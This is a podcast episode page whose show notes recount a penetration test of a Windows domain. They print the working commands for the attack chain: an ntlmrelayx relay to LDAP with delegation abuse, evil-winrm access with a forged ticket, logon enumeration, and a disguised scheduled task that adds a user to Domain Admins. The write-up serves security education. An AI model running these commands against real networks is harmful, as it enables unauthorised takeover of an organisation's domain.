7MS #691: Tales of Pentest Pwnage – Part 75
7 Minute Security · Brian Johnson
September 5, 202531m 39s
Audio is streamed directly from the publisher (traffic.libsyn.com) as published in their RSS feed. Play Podcasts does not host this file. Rights-holders can request removal through the copyright & takedown page.
Show Notes
Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today's episode:
- Got an SA account to a SQL server through Snaffler-ing
- With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here
- I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv
- I didn't have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here
- Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket
- From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName
- Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f
- …and ran it: schtasks /run /tn "TotallyFineTask"